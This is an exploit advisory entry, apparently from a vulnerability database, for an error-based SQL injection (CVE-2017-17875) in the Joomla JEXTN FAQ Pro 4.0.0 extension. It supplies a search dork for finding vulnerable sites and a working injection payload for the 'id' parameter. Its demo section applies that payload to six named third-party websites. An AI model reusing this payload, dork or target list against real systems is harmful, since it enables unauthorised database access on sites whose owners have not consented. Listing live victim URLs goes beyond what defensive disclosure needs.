Joomla JEXTN FAQ Pro 4.0.0 - SQL Injection

2018.01.30
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## Title: Joomla JEXTN FAQ Pro 4.0.0 - Error Based ## Dork: inurl:"com_jefaqpro" ## Date published: 29/01/2018 ## Credit: Informacion-Anonymous ## Vendor: http://jextn.com/ ## Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/faq/jextn-faq-pro/ ## Version: 4.0.0 ## Category: Webapps ## Tested on: WiN7_x64/KaLiLinuX_x64 ## CVE: CVE-2017-17875 ## CWE: CWE-89 ## Exploit Author: Ihsan Sencan ### # Description: # The vulnerability allows an attacker to inject sql commands error based #### P00f -- http://localhost/[PATH]/index.php?option=com_jefaqpro&view=category&id=[SQL]&Itemid=494 ## +OR+1+GROUP+BY+CONCAT_WS(0x3a,0x496873616e53656e63616e,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1 ### Dem0s: ++- uasrc.org/index.php?option=com_jefaqpro&view=category&id=73+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1&Itemid=224 ++- www.dataqualitynetwork.net/index.php?option=com_jefaqpro&view=category&id=16+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1&Itemid=494 ++- mdwconstruction.ca/index.php?option=com_jefaqpro&view=category&id=11+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1&Itemid=120 ++- http://www.tcoirsbeek.nl/index.php?option=com_jefaqpro&view=category&id=102+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1&Itemid=376 ++- http://greakerdalen.no/index.php?option=com_jefaqpro&view=category&id=69+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1&Itemid=314 ++- http://www.babousalam.it/index.php?option=com_jefaqpro&view=category&id=55+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1&Itemid=184 +--------------------------------------------------------------------------------------------------------+

References:

https://www.facebook.com/Informacion-Anonymous-611394289006994/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top